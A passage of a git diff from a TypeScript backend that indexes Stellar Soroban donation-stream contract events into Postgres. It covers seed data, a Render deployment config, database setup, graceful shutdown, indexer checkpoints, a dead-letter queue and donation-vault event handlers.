SEED_DONORS[1].address }, + create: SEED_DONORS[1], + update: {}, + }); + + // --- Streams --- + await client.stream.upsert({ + where: { onChainId: 1n }, + create: { + onChainId: 1n, + donorId: donor1.id, + ngoId: ngo1.id, + tokenAddress: USDC, + rate: '100000000', + balance: '5000000000', + withdrawn: '500000000', + status: 'ACTIVE', + }, + update: {}, + }); + + await client.stream.upsert({ + where: { onChainId: 2n }, + create: { + onChainId: 2n, + donorId: donor2.id, + ngoId: ngo1.id, + tokenAddress: USDC, + rate: '50000000', + balance: '2000000000', + withdrawn: '250000000', + status: 'ACTIVE', + }, + update: {}, + }); + + await client.stream.upsert({ + where: { onChainId: 3n }, + create: { + onChainId: 3n, + donorId: donor1.id, + ngoId: ngo2.id, + tokenAddress: USDC, + rate: '75000000', + balance: '0', + withdrawn: '1000000000', + status: 'CANCELLED', + }, + update: {}, + }); + + await client.stream.upsert({ + where: { onChainId: 4n }, + create: { + onChainId: 4n, + donorId: donor2.id, + ngoId: ngo2.id, + tokenAddress: USDC, + rate: '200000000', + balance: '8000000000', + withdrawn: '800000000', + status: 'ACTIVE', + }, + update: {}, + }); + + console.log('Seed complete.'); +} + +if (process.argv[1]?.includes('seed.ts') || process.argv[1]?.includes('seed.js')) { + seed() + .catch((e) => { + console.error(e); + process.exit(1); + }) + .finally(() => prisma.$disconnect()); +} diff --git a/render.yaml b/render.yaml index b332db0..59a6764 100644 --- a/render.yaml +++ b/render.yaml @@ -1,40 +1,40 @@ -# Render Blueprint. Create the service from this with Render's -# "New > Blueprint" flow, pointed at this repository. -# -# Values Render has to prompt for are marked `sync: false`: Render stores them -# itself and they are never committed here. They are deployment-specific rather -# than uniformly secret — ADMIN_ADDRESS and CORS_ORIGINS are public. See -# DEPLOYMENT.md. - -services: - - type: web - name: streamgive-backend - runtime: docker - dockerfilePath: ./Dockerfile - plan: free - # Closest Render region to the Supabase project in eu-west-1. - region: frankfurt - healthCheckPath: /health - envVars: - - key: NODE_ENV - value: production - - # PORT is deliberately absent: Render injects its own, and the server - # reads process.env.PORT. Hardcoding one here makes the health check - # fail against a container listening somewhere else. - - - key: DATABASE_URL - sync: false - - key: ADMIN_ADDRESS - sync: false - - key: CORS_ORIGINS - sync: false - - - key: SOROBAN_RPC_URL - value: https://soroban-testnet.stellar.org - - key: NGO_REGISTRY_CONTRACT_ID - value: CCPWQBI7FV2CZ7EECOVZ5XHOHK5S7CS6XTBDWPWHBEOKPTIASNGOBQFH - - key: DONATION_VAULT_CONTRACT_ID - value: CDLKBGX3VTFZZBVBNQYHF47PQO6I7UTBYVVQE3BPJDONF6G4U33Z7VLH - - key: INDEXER_POLL_INTERVAL_MS - value: "5000" +# Render Blueprint. Create the service from this with Render's +# "New > Blueprint" flow, pointed at this repository. +# +# Values Render has to prompt for are marked `sync: false`: Render stores them +# itself and they are never committed here. They are deployment-specific rather +# than uniformly secret — ADMIN_ADDRESS and CORS_ORIGINS are public. See +# DEPLOYMENT.md. + +services: + - type: web + name: streamgive-backend + runtime: docker + dockerfilePath: ./Dockerfile + plan: free + # Closest Render region to the Supabase project in eu-west-1. + region: frankfurt + healthCheckPath: /health + envVars: + - key: NODE_ENV + value: production + + # PORT is deliberately absent: Render injects its own, and the server + # reads process.env.PORT. Hardcoding one here makes the health check + # fail against a container listening somewhere else. + + - key: DATABASE_URL + sync: false + - key: ADMIN_ADDRESS + sync: false + - key: CORS_ORIGINS + sync: false + + - key: SOROBAN_RPC_URL + value: https://soroban-testnet.stellar.org + - key: NGO_REGISTRY_CONTRACT_ID + value: CCPWQBI7FV2CZ7EECOVZ5XHOHK5S7CS6XTBDWPWHBEOKPTIASNGOBQFH + - key: DONATION_VAULT_CONTRACT_ID + value: CDLKBGX3VTFZZBVBNQYHF47PQO6I7UTBYVVQE3BPJDONF6G4U33Z7VLH + - key: INDEXER_POLL_INTERVAL_MS + value: "5000" diff --git a/src/common/validation/stellar-address.validator.ts b/src/common/validation/stellar-address.validator.ts index a4c72f0..6f176e6 100644 --- a/src/common/validation/stellar-address.validator.ts +++ b/src/common/validation/stellar-address.validator.ts @@ -1,16 +1,16 @@ -import { z } from 'zod'; -import { StrKey } from '@stellar/stellar-sdk'; - -export const stellarAddressSchema = z - .string() - .min(1, { message: 'Stellar address is required' }) - .refine( - (val) => { - try { - return StrKey.isValidEd25519PublicKey(val); - } catch { - return false; - } - }, - { message: 'Invalid Stellar public key or bad checksum' } +import { z } from 'zod'; +import { StrKey } from '@stellar/stellar-sdk'; + +export const stellarAddressSchema = z + .string() + .min(1, { message: 'Stellar address is required' }) + .refine( + (val) => { + try { + return StrKey.isValidEd25519PublicKey(val); + } catch { + return false; + } + }, + { message: 'Invalid Stellar public key or bad checksum' } ); \ No newline at end of file diff --git a/src/db.ts b/src/db.ts index 764bd96..4545c35 100644 --- a/src/db.ts +++ b/src/db.ts @@ -1,45 +1,45 @@ -import { PrismaPg } from '@prisma/adapter-pg'; -import { PrismaClient } from './generated/prisma/client.js'; - -const DEFAULT_DATABASE_URL = 'postgresql://streamgive:streamgive@localhost:5432/streamgive'; - -export function getDatabaseUrl(): string { - const databaseUrl = process.env.DATABASE_URL; - const nodeEnv = process.env.NODE_ENV; - - if (!databaseUrl) { - if (nodeEnv === 'production') { - throw new Error( - 'FATAL: DATABASE_URL environment variable is required in production but was not provided.', - ); - } - return DEFAULT_DATABASE_URL; - } - - return databaseUrl; -} - -const adapter = new PrismaPg({ - connectionString: getDatabaseUrl(), -}); - -export const prisma = new PrismaClient({ adapter }); - -export interface NgoVerificationRecord { - id: string; - ownerAddress: string; - verified: boolean; -} - -export async function getNgoVerificationRecords(): Promise { - return prisma.ngo.findMany({ - select: { id: true, ownerAddress: true, verified: true }, - }); -} - -export async function setNgoVerified(id: string, verified: boolean): Promise { - await prisma.ngo.update({ - where: { id }, - data: { verified }, - }); +import { PrismaPg } from '@prisma/adapter-pg'; +import { PrismaClient } from './generated/prisma/client.js'; + +const DEFAULT_DATABASE_URL = 'postgresql://streamgive:streamgive@localhost:5432/streamgive'; + +export function getDatabaseUrl(): string { + const databaseUrl = process.env.DATABASE_URL; + const nodeEnv = process.env.NODE_ENV; + + if (!databaseUrl) { + if (nodeEnv === 'production') { + throw new Error( + 'FATAL: DATABASE_URL environment variable is required in production but was not provided.', + ); + } + return DEFAULT_DATABASE_URL; + } + + return databaseUrl; +} + +const adapter = new PrismaPg({ + connectionString: getDatabaseUrl(), +}); + +export const prisma = new PrismaClient({ adapter }); + +export interface NgoVerificationRecord { + id: string; + ownerAddress: string; + verified: boolean; +} + +export async function getNgoVerificationRecords(): Promise { + return prisma.ngo.findMany({ + select: { id: true, ownerAddress: true, verified: true }, + }); +} + +export async function setNgoVerified(id: string, verified: boolean): Promise { + await prisma.ngo.update({ + where: { id }, + data: { verified }, + }); } \ No newline at end of file diff --git a/src/index.ts b/src/index.ts index e556e6f..9d42b95 100644 --- a/src/index.ts +++ b/src/index.ts @@ -1,72 +1,72 @@ -// Must be the first import: every other module (transitively, db.ts) reads -// process.env at module-load time, so the environment has to be populated -// before anything else is imported. -import 'dotenv/config'; - -import { dispatchEvent } from './indexer/dispatch.js'; -import { startIndexer } from './indexer/worker.js'; -import { startWebhookDeliveryWorker } from './notifications/service.js'; -import { buildServer } from './server.js'; - -const port = Number(process.env.PORT ?? 3000); -const app = buildServer(); - -// Left unwrapped so a handler failure propagates: worker.ts's own catch -// logs it and, crucially, leaves the checkpoint unadvanced so the failed -// event gets retried on the next poll instead of silently skipped. -const stopIndexer = startIndexer(dispatchEvent); -const stopWebhookDeliveryWorker = startWebhookDeliveryWorker(); - -/** - * Tear down the indexer and HTTP server, then resolve. The caller is - * responsible for deciding the exit code and calling process.exit(). - * Separating teardown from exit makes the function testable without - * process.exit side-effects. - */ -export async function shutdown(signal: string): Promise { - app.log.info({ signal }, 'shutting down'); - await stopWebhookDeliveryWorker(); - await stopIndexer(); - await app.close(); -} - -// An unhandled promise rejection leaves the process in an unknown state just -// like an uncaught synchronous exception — tear everything down cleanly and -// let the orchestrator (Docker / Kubernetes / Render) restart the process. -process.on('unhandledRejection', (reason) => { - app.log.error({ err: reason }, 'unhandled rejection — shutting down'); - shutdown('unhandledRejection') - .catch((err) => app.log.error({ err }, 'error during shutdown')) - .finally(() => process.exit(1)); -}); - -process.on('uncaughtException', (err) => { - app.log.error({ err }, 'uncaught exception'); - process.exit(1); -}); - -app.listen({ port, host: '0.0.0.0' }).catch((err) => { - app.log.error(err); - process.exit(1); -}); - -// SIGTERM is what Docker/Kubernetes send on `docker stop`/pod termination; -// SIGINT is Ctrl+C locally. Without this, both just kill the process -// mid-request instead of finishing in-flight work and closing the DB pool. -process.on('SIGTERM', () => { - shutdown('SIGTERM') - .then(() => process.exit(0)) - .catch((err) => { - app.log.error({ err }, 'error during shutdown'); - process.exit(1); - }); -}); - -process.on('SIGINT', () => { - shutdown('SIGINT') - .then(() => process.exit(0)) - .catch((err) => { - app.log.error({ err }, 'error during shutdown'); - process.exit(1); - }); -}); +// Must be the first import: every other module (transitively, db.ts) reads +// process.env at module-load time, so the environment has to be populated +// before anything else is imported. +import 'dotenv/config'; + +import { dispatchEvent } from './indexer/dispatch.js'; +import { startIndexer } from './indexer/worker.js'; +import { startWebhookDeliveryWorker } from './notifications/service.js'; +import { buildServer } from './server.js'; + +const port = Number(process.env.PORT ?? 3000); +const app = buildServer(); + +// Left unwrapped so a handler failure propagates: worker.ts's own catch +// logs it and, crucially, leaves the checkpoint unadvanced so the failed +// event gets retried on the next poll instead of silently skipped. +const stopIndexer = startIndexer(dispatchEvent); +const stopWebhookDeliveryWorker = startWebhookDeliveryWorker(); + +/** + * Tear down the indexer and HTTP server, then resolve. The caller is + * responsible for deciding the exit code and calling process.exit(). + * Separating teardown from exit makes the function testable without + * process.exit side-effects. + */ +export async function shutdown(signal: string): Promise { + app.log.info({ signal }, 'shutting down'); + await stopWebhookDeliveryWorker(); + await stopIndexer(); + await app.close(); +} + +// An unhandled promise rejection leaves the process in an unknown state just +// like an uncaught synchronous exception — tear everything down cleanly and +// let the orchestrator (Docker / Kubernetes / Render) restart the process. +process.on('unhandledRejection', (reason) => { + app.log.error({ err: reason }, 'unhandled rejection — shutting down'); + shutdown('unhandledRejection') + .catch((err) => app.log.error({ err }, 'error during shutdown')) + .finally(() => process.exit(1)); +}); + +process.on('uncaughtException', (err) => { + app.log.error({ err }, 'uncaught exception'); + process.exit(1); +}); + +app.listen({ port, host: '0.0.0.0' }).catch((err) => { + app.log.error(err); + process.exit(1); +}); + +// SIGTERM is what Docker/Kubernetes send on `docker stop`/pod termination; +// SIGINT is Ctrl+C locally. Without this, both just kill the process +// mid-request instead of finishing in-flight work and closing the DB pool. +process.on('SIGTERM', () => { + shutdown('SIGTERM') + .then(() => process.exit(0)) + .catch((err) => { + app.log.error({ err }, 'error during shutdown'); + process.exit(1); + }); +}); + +process.on('SIGINT', () => { + shutdown('SIGINT') + .then(() => process.exit(0)) + .catch((err) => { + app.log.error({ err }, 'error during shutdown'); + process.exit(1); + }); +}); diff --git a/src/indexer/checkpoint.ts b/src/indexer/checkpoint.ts index ee8f872..1bf75e3 100644 --- a/src/indexer/checkpoint.ts +++ b/src/indexer/checkpoint.ts @@ -1,32 +1,32 @@ -import { prisma } from '../db.js'; - -const CHECKPOINT_ID = 'main'; - -export interface IndexerCheckpoint { - lastLedger: number; - lastEventId?: string; - updatedAt?: Date; -} - -export async function getCheckpointState(): Promise { - const row = await prisma.indexerCheckpoint.findUnique({ where: { id: CHECKPOINT_ID } }); - return row - ? { - lastLedger: row.lastLedger, - lastEventId: row.lastEventId ?? undefined, - updatedAt: row.updatedAt, - } - : undefined; -} - -export async function getCheckpoint(): Promise { - return (await getCheckpointState())?.lastLedger; -} - -export async function saveCheckpoint(ledger: number, eventId: string | null = null): Promise { - await prisma.indexerCheckpoint.upsert({ - where: { id: CHECKPOINT_ID }, - create: { id: CHECKPOINT_ID, lastLedger: ledger, lastEventId: eventId }, - update: { lastLedger: ledger, lastEventId: eventId }, - }); -} +import { prisma } from '../db.js'; + +const CHECKPOINT_ID = 'main'; + +export interface IndexerCheckpoint { + lastLedger: number; + lastEventId?: string; + updatedAt?: Date; +} + +export async function getCheckpointState(): Promise { + const row = await prisma.indexerCheckpoint.findUnique({ where: { id: CHECKPOINT_ID } }); + return row + ? { + lastLedger: row.lastLedger, + lastEventId: row.lastEventId ?? undefined, + updatedAt: row.updatedAt, + } + : undefined; +} + +export async function getCheckpoint(): Promise { + return (await getCheckpointState())?.lastLedger; +} + +export async function saveCheckpoint(ledger: number, eventId: string | null = null): Promise { + await prisma.indexerCheckpoint.upsert({ + where: { id: CHECKPOINT_ID }, + create: { id: CHECKPOINT_ID, lastLedger: ledger, lastEventId: eventId }, + update: { lastLedger: ledger, lastEventId: eventId }, + }); +} diff --git a/src/indexer/contracts.ts b/src/indexer/contracts.ts index 76cd879..56c028d 100644 --- a/src/indexer/contracts.ts +++ b/src/indexer/contracts.ts @@ -1,37 +1,37 @@ -/** Deployed contract IDs the indexer watches. Empty until set post-deploy. */ -export const NGO_REGISTRY_CONTRACT_ID = process.env.NGO_REGISTRY_CONTRACT_ID ?? ''; -export const DONATION_VAULT_CONTRACT_ID = process.env.DONATION_VAULT_CONTRACT_ID ?? ''; - -export const WATCHED_CONTRACT_IDS = [NGO_REGISTRY_CONTRACT_ID, DONATION_VAULT_CONTRACT_ID].filter( - (id) => id.length > 0, -); - -/** - * Minimal read-only client surface used by the reconciliation script. - * Implemented by the Soroban RPC wrapper; mocked in tests. - */ -export interface NgoRegistryReader { - /** Returns the on-chain `verified` flag for the given NGO id. */ - isVerified(ngoId: string): Promise; -} - -/** - * Reads the on-chain verified status for an NGO from the registry contract. - * - * Returns `null` when the contract id is not configured or the NGO is not - * present on-chain, so callers can distinguish "unknown" from `false`. - */ -export async function readOnChainVerifiedStatus( - reader: NgoRegistryReader, - ngoId: string, -): Promise { - if (NGO_REGISTRY_CONTRACT_ID.length === 0) { - return null; - } - - try { - return await reader.isVerified(ngoId); - } catch { - return null; - } -} +/** Deployed contract IDs the indexer watches. Empty until set post-deploy. */ +export const NGO_REGISTRY_CONTRACT_ID = process.env.NGO_REGISTRY_CONTRACT_ID ?? ''; +export const DONATION_VAULT_CONTRACT_ID = process.env.DONATION_VAULT_CONTRACT_ID ?? ''; + +export const WATCHED_CONTRACT_IDS = [NGO_REGISTRY_CONTRACT_ID, DONATION_VAULT_CONTRACT_ID].filter( + (id) => id.length > 0, +); + +/** + * Minimal read-only client surface used by the reconciliation script. + * Implemented by the Soroban RPC wrapper; mocked in tests. + */ +export interface NgoRegistryReader { + /** Returns the on-chain `verified` flag for the given NGO id. */ + isVerified(ngoId: string): Promise; +} + +/** + * Reads the on-chain verified status for an NGO from the registry contract. + * + * Returns `null` when the contract id is not configured or the NGO is not + * present on-chain, so callers can distinguish "unknown" from `false`. + */ +export async function readOnChainVerifiedStatus( + reader: NgoRegistryReader, + ngoId: string, +): Promise { + if (NGO_REGISTRY_CONTRACT_ID.length === 0) { + return null; + } + + try { + return await reader.isVerified(ngoId); + } catch { + return null; + } +} diff --git a/src/indexer/deadLetter.ts b/src/indexer/deadLetter.ts index c96592b..351a689 100644 --- a/src/indexer/deadLetter.ts +++ b/src/indexer/deadLetter.ts @@ -1,94 +1,94 @@ -import { xdr } from '@stellar/stellar-sdk'; - -import { prisma } from '../db.js'; -import type { ContractEvent } from './worker.js'; - -/** Bounded so a pathological error message can't bloat the row. */ -const MAX_ERROR_LENGTH = 2000; - -function describeError(err: unknown): string { - const text = err instanceof Error ? `${err.name}: ${err.message}` : String(err); - return text.slice(0, MAX_ERROR_LENGTH); -} - -function serializeScValToXDR(val: unknown): string { - if (val && typeof (val as { toXDR: (format?: string) => string | Buffer }).toXDR === 'function') { - const res = (val as { toXDR: (format: string) => string }).toXDR('base64'); - return typeof res === 'string' ? res : Buffer.from(res).toString('base64'); - } - return String(val); -} - -export interface RebuiltEvent { - id: string; - ledger: number; - contractId: string | null; - txHash: string | null; - topic: xdr.ScVal[]; - value: xdr.ScVal | null; -} - -/** - * Rebuilds the contract event from stored dead letter XDR payloads for replay. - */ -export function rebuildEventFromDeadLetter(deadLetter: { - eventId: string; - ledger: number; - contractId: string | null; - txHash?: string | null; - topic: string[]; - value: string | null; -}): RebuiltEvent { - return { - id: deadLetter.eventId, - ledger: deadLetter.ledger, - contractId: deadLetter.contractId, - txHash: deadLetter.txHash ?? null, - topic: (deadLetter.topic ?? []).map((xdrStr) => xdr.ScVal.fromXDR(xdrStr, 'base64')), - value: deadLetter.value ? xdr.ScVal.fromXDR(deadLetter.value, 'base64') : null, - }; -} - -/** - * Records an event the indexer failed to process, so the caller can move the - * checkpoint past it instead of retrying it on every poll forever. - * - * Upsert rather than create: the unique `eventId` is the whole point of the - * row, and a duplicate insert throwing here would reintroduce exactly the - * wedge this table exists to prevent (a manual replay that fails again, say). - * The newest error message wins, and attempts are incremented. - * - * Deliberately *not* fault-tolerant — if this write throws, the database is - * unreachable, which is a transient fault rather than a bad event. Letting it - * propagate leaves the checkpoint where it is so the event is retried on the - * next poll rather than skipped over a blip. - */ -export async function recordDeadLetter(event: ContractEvent, err: unknown): Promise { - const error = describeError(err); - const topic = Array.isArray(event.topic) - ? event.topic.map((item) => serializeScValToXDR(item)) - : []; - const value = event.value !== undefined ? serializeScValToXDR(event.value) : null; - const txHash = event.txHash ?? null; - - await prisma.indexerDeadLetter.upsert({ - where: { eventId: event.id }, - create: { - eventId: event.id, - ledger: event.ledger, - contractId: event.contractId?.toString() ?? null, - error, - topic, - value, - txHash, - attempts: 1, - }, - update: { - error, - topic, - value, - txHash, - attempts: { increment: 1 }, - }, - }); -} +import { xdr } from '@stellar/stellar-sdk'; + +import { prisma } from '../db.js'; +import type { ContractEvent } from './worker.js'; + +/** Bounded so a pathological error message can't bloat the row. */ +const MAX_ERROR_LENGTH = 2000; + +function describeError(err: unknown): string { + const text = err instanceof Error ? `${err.name}: ${err.message}` : String(err); + return text.slice(0, MAX_ERROR_LENGTH); +} + +function serializeScValToXDR(val: unknown): string { + if (val && typeof (val as { toXDR: (format?: string) => string | Buffer }).toXDR === 'function') { + const res = (val as { toXDR: (format: string) => string }).toXDR('base64'); + return typeof res === 'string' ? res : Buffer.from(res).toString('base64'); + } + return String(val); +} + +export interface RebuiltEvent { + id: string; + ledger: number; + contractId: string | null; + txHash: string | null; + topic: xdr.ScVal[]; + value: xdr.ScVal | null; +} + +/** + * Rebuilds the contract event from stored dead letter XDR payloads for replay. + */ +export function rebuildEventFromDeadLetter(deadLetter: { + eventId: string; + ledger: number; + contractId: string | null; + txHash?: string | null; + topic: string[]; + value: string | null; +}): RebuiltEvent { + return { + id: deadLetter.eventId, + ledger: deadLetter.ledger, + contractId: deadLetter.contractId, + txHash: deadLetter.txHash ?? null, + topic: (deadLetter.topic ?? []).map((xdrStr) => xdr.ScVal.fromXDR(xdrStr, 'base64')), + value: deadLetter.value ? xdr.ScVal.fromXDR(deadLetter.value, 'base64') : null, + }; +} + +/** + * Records an event the indexer failed to process, so the caller can move the + * checkpoint past it instead of retrying it on every poll forever. + * + * Upsert rather than create: the unique `eventId` is the whole point of the + * row, and a duplicate insert throwing here would reintroduce exactly the + * wedge this table exists to prevent (a manual replay that fails again, say). + * The newest error message wins, and attempts are incremented. + * + * Deliberately *not* fault-tolerant — if this write throws, the database is + * unreachable, which is a transient fault rather than a bad event. Letting it + * propagate leaves the checkpoint where it is so the event is retried on the + * next poll rather than skipped over a blip. + */ +export async function recordDeadLetter(event: ContractEvent, err: unknown): Promise { + const error = describeError(err); + const topic = Array.isArray(event.topic) + ? event.topic.map((item) => serializeScValToXDR(item)) + : []; + const value = event.value !== undefined ? serializeScValToXDR(event.value) : null; + const txHash = event.txHash ?? null; + + await prisma.indexerDeadLetter.upsert({ + where: { eventId: event.id }, + create: { + eventId: event.id, + ledger: event.ledger, + contractId: event.contractId?.toString() ?? null, + error, + topic, + value, + txHash, + attempts: 1, + }, + update: { + error, + topic, + value, + txHash, + attempts: { increment: 1 }, + }, + }); +} diff --git a/src/indexer/handlers/donationVault.ts b/src/indexer/handlers/donationVault.ts index 8bcd387..51bcb83 100644 --- a/src/indexer/handlers/donationVault.ts +++ b/src/indexer/handlers/donationVault.ts @@ -1,300 +1,300 @@ -import { scValToNative } from '@stellar/stellar-sdk'; - -import { prisma } from '../../db.js'; -import { logger } from '../../logger.js'; -import { dispatchNotification } from '../../notifications/service.js'; -import { recordDeadLetter } from '../deadLetter.js'; -import type { ContractEvent } from '../worker.js'; - -type DonationDb = Pick; - -async function ensureDonor(db: DonationDb, address: string) { - return db.donor.upsert({ - where: { address }, - create: { address }, - update: {}, - }); -} - -async function ensureNgo(db: DonationDb, ownerAddress: string) { - return db.ngo.upsert({ - where: { ownerAddress }, - // A stream can reference an NGO address that hasn't gone through - // ngo-registry — donation-vault doesn't check registry membership - // on-chain. Placeholder name until (if) a "register" event arrives; - // `update: {}` below makes sure we never clobber a real name/verified - // status that's already on file. - create: { ownerAddress, name: '', verified: false }, - update: {}, - }); -} - -/** - * Handles the donation-vault contract's `created` event, emitted when a - * donor opens a new streaming donation to an NGO. - * - * Writes: upserts the `donor` and `ngo` rows (creating them if this is the - * first time either address has been seen), then upserts a `stream` row - * with status `ACTIVE`, the initial deposit as `balance`, and `withdrawn` - * set to `0`. Persists a `StreamEvent` row in the same transaction. - * Emits a `stream_created` notification. - */ -async function handleStreamCreated(event: ContractEvent): Promise { - const [, streamIdVal] = event.topic; - const onChainId = scValToNative(streamIdVal) as bigint; - - const [donorVal, ngoVal, tokenVal, depositVal, rateVal] = scValToNative(event.value) as [ - { toString(): string }, - { toString(): string }, - { toString(): string }, - bigint, - bigint, - ]; - - const { ngo } = await prisma.$transaction(async (tx) => { - const [donor, ngo] = await Promise.all([ - ensureDonor(tx, donorVal.toString()), - ensureNgo(tx, ngoVal.toString()), - ]); - - await tx.stream.upsert({ - where: { onChainId }, - create: { - onChainId, - donorId: donor.id, - ngoId: ngo.id, - tokenAddress: tokenVal.toString(), - rate: rateVal.toString(), - balance: depositVal.toString(), - withdrawn: '0', - status: 'ACTIVE', - createdTxHash: event.txHash, - createdAt: new Date(event.ledgerClosedAt), - }, - update: {}, - }); - - await tx.streamEvent.create({ - data: { - type: 'created', - streamId: onChainId, - ledger: event.ledger, - txHash: event.txHash, - payload: { - donor: donorVal.toString(), - ngo: ngoVal.toString(), - token: tokenVal.toString(), - deposit: depositVal.toString(), - rate: rateVal.toString(), - }, - }, - }); - - return { ngo }; - }); - - dispatchNotification({ - type: 'stream_created', - eventId: event.id, - streamId: onChainId.toString(), - donorAddress: donorVal.toString(), - ngoId: ngo.id, - }); -} - -/** - * Handles the donation-vault contract's `withdraw` event, emitted when - * accrued funds are withdrawn to the NGO from an active stream. - * - * Writes: updates the matching `stream` row, subtracting the accrued - * amount from `balance` and adding it to `withdrawn`. Persists a - * `StreamEvent` row in the same transaction. No-ops if the stream isn't - * known yet or if it is already cancelled. Emits a `stream_withdrawn` notification. - * - * Withdraw's event payload is just the accrued amount, so the new balance - * and withdrawn total are fully determined by it — no ambiguity. - */ -async function handleWithdraw(event: ContractEvent): Promise { - const [, streamIdVal] = event.topic; - const onChainId = scValToNative(streamIdVal) as bigint; - const accrued = scValToNative(event.value) as bigint; - - let shouldNotify = false; - - await prisma.$transaction(async (tx) => { - const stream = await tx.stream.findUnique({ where: { onChainId } }); - if (!stream) { - logger.warn( - { eventId: event.id, streamId: onChainId.toString() }, - 'withdraw event received for unknown stream', - ); - await recordDeadLetter(event, new Error(`unknown stream: ${onChainId}`)); - return; - } - - if (stream.status === 'CANCELLED') { - logger.warn( - { eventId: event.id, streamId: onChainId.toString() }, - 'ignoring withdraw event for cancelled stream', - ); - return; - } - - const balance = BigInt(stream.balance); - const nextBalance = balance - accrued; - if (nextBalance < 0n) { - logger.warn( - { - onChainId: onChainId.toString(), - balance: balance.toString(), - accrued: accrued.toString(), - }, - 'withdraw exceeds recorded stream balance', - ); - } - - await tx.stream.update({ - where: { onChainId }, - data: { - balance: (nextBalance < 0n ? 0n : nextBalance).toString(), - withdrawn: (BigInt(stream.withdrawn) + accrued).toString(), - updatedAt: new Date(event.ledgerClosedAt), - }, - }); - - await tx.streamEvent.create({ - data: { - type: 'withdraw', - streamId: onChainId, - ledger: event.ledger, - txHash: event.txHash, - payload: { accrued: accrued.toString() }, - }, - }); - - shouldNotify = true; - }); - - if (shouldNotify) { - dispatchNotification({ - type: 'stream_withdrawn', - eventId: event.id, - streamId: onChainId.toString(), - amount: accrued.toString(), - }); - } -} - -/** - * Handles the donation-vault contract's `cancel` event, emitted when a - * stream is cancelled, settling accrued funds to the NGO and refunding the - * remaining balance to the donor. - * - * Writes: updates the matching `stream` row — adds the settled amount to - * `withdrawn`, zeroes `balance` and `rate`, and sets `status` to - * `CANCELLED`. Persists a `StreamEvent` row in the same transaction. - * No-ops if the stream isn't known yet or already cancelled. Emits a `stream_cancelled` - * notification. - * - * Cancel's payload carries both the settled amount and the refund, so — - * like withdraw — the resulting state is fully determined by the event. - */ -async function handleCancel(event: ContractEvent): Promise { - const [, streamIdVal] = event.topic; - const onChainId = scValToNative(streamIdVal) as bigint; - const [accrued, refund] = scValToNative(event.value) as [bigint, bigint]; - - let shouldNotify = false; - - await prisma.$transaction(async (tx) => { - const stream = await tx.stream.findUnique({ where: { onChainId } }); - if (!stream) { - logger.warn( - { eventId: event.id, streamId: onChainId.toString() }, - 'cancel event received for unknown stream', - ); - await recordDeadLetter(event, new Error(`unknown stream: ${onChainId}`)); - return; - } - - if (stream.status === 'CANCELLED') { - logger.warn( - { eventId: event.id, streamId: onChainId.toString() }, - 'ignoring duplicate cancel event for already cancelled stream', - ); - return; - } - - await tx.stream.update({ - where: { onChainId }, - data: { - withdrawn: (BigInt(stream.withdrawn) + accrued).toString(), - balance: '0', - lastRate: stream.rate, - rate: '0', - status: 'CANCELLED', - updatedAt: new Date(event.ledgerClosedAt), - }, - }); - - await tx.streamEvent.create({ - data: { - type: 'cancel', - streamId: onChainId, - ledger: event.ledger, - txHash: event.txHash, - payload: { - accrued: accrued.toString(), - refund: refund.toString(), - }, - }, - }); - - shouldNotify = true; - }); - - if (shouldNotify) { - dispatchNotification({ - type: 'stream_cancelled', - eventId: event.id, - streamId: onChainId.toString(), - settledToNgo: accrued.toString(), - refundToDonor: refund.toString(), - }); - } -} - -/** - * Entry point for all donation-vault contract events. Dispatches on the - * event's topic to the handler for that on-chain event: - * `created` → {@link handleStreamCreated}, `withdraw` → {@link handleWithdraw}, - * `cancel` → {@link handleCancel}. `topup` and `ratemod` are deliberately - * unhandled for now (see comment below); any other topic is ignored. - */ -export async function handleDonationVaultEvent(event: ContractEvent): Promise { - const [topicSymbol] = event.topic; - const topic = scValToNative(topicSymbol) as string; - - switch (topic) { - case 'created': - await handleStreamCreated(event); - break; - case 'withdraw': - await handleWithdraw(event); - break; - case 'cancel': - await handleCancel(event); - break; - case 'topup': - case 'ratemod': - // Deliberately unhandled for now: both events only publish the new - // amount/rate, not how much accrued and settled to the NGO during - // the same call, so the new balance can't be reconstructed from the - // event payload alone without either a verified read-only contract - // call (get_stream) or duplicating the contract's accrual math here - // — both real work, tracked as follow-up rather than guessed at. - break; - default: - break; - } -} +import { scValToNative } from '@stellar/stellar-sdk'; + +import { prisma } from '../../db.js'; +import { logger } from '../../logger.js'; +import { dispatchNotification } from '../../notifications/service.js'; +import { recordDeadLetter } from '../deadLetter.js'; +import type { ContractEvent } from '../worker.js'; + +type DonationDb = Pick; + +async function ensureDonor(db: DonationDb, address: string) { + return db.donor.upsert({ + where: { address }, + create: { address }, + update: {}, + }); +} + +async function ensureNgo(db: DonationDb, ownerAddress: string) { + return db.ngo.upsert({ + where: { ownerAddress }, + // A stream can reference an NGO address that hasn't gone through + // ngo-registry — donation-vault doesn't check registry membership + // on-chain. Placeholder name until (if) a "register" event arrives; + // `update: {}` below makes sure we never clobber a real name/verified + // status that's already on file. + create: { ownerAddress, name: '', verified: false }, + update: {}, + }); +} + +/** + * Handles the donation-vault contract's `created` event, emitted when a + * donor opens a new streaming donation to an NGO. + * + * Writes: upserts the `donor` and `ngo` rows (creating them if this is the + * first time either address has been seen), then upserts a `stream` row + * with status `ACTIVE`, the initial deposit as `balance`, and `withdrawn` + * set to `0`. Persists a `StreamEvent` row in the same transaction. + * Emits a `stream_created` notification. + */ +async function handleStreamCreated(event: ContractEvent): Promise { + const [, streamIdVal] = event.topic; + const onChainId = scValToNative(streamIdVal) as bigint; + + const [donorVal, ngoVal, tokenVal, depositVal, rateVal] = scValToNative(event.value) as [ + { toString(): string }, + { toString(): string }, + { toString(): string }, + bigint, + bigint, + ]; + + const { ngo } = await prisma.$transaction(async (tx) => { + const [donor, ngo] = await Promise.all([ + ensureDonor(tx, donorVal.toString()), + ensureNgo(tx, ngoVal.toString()), + ]); + + await tx.stream.upsert({ + where: { onChainId }, + create: { + onChainId, + donorId: donor.id, + ngoId: ngo.id, + tokenAddress: tokenVal.toString(), + rate: rateVal.toString(), + balance: depositVal.toString(), + withdrawn: '0', + status: 'ACTIVE', + createdTxHash: event.txHash, + createdAt: new Date(event.ledgerClosedAt), + }, + update: {}, + }); + + await tx.streamEvent.create({ + data: { + type: 'created', + streamId: onChainId, + ledger: event.ledger, + txHash: event.txHash, + payload: { + donor: donorVal.toString(), + ngo: ngoVal.toString(), + token: tokenVal.toString(), + deposit: depositVal.toString(), + rate: rateVal.toString(), + }, + }, + }); + + return { ngo }; + }); + + dispatchNotification({ + type: 'stream_created', + eventId: event.id, + streamId: onChainId.toString(), + donorAddress: donorVal.toString(), + ngoId: ngo.id, + }); +} + +/** 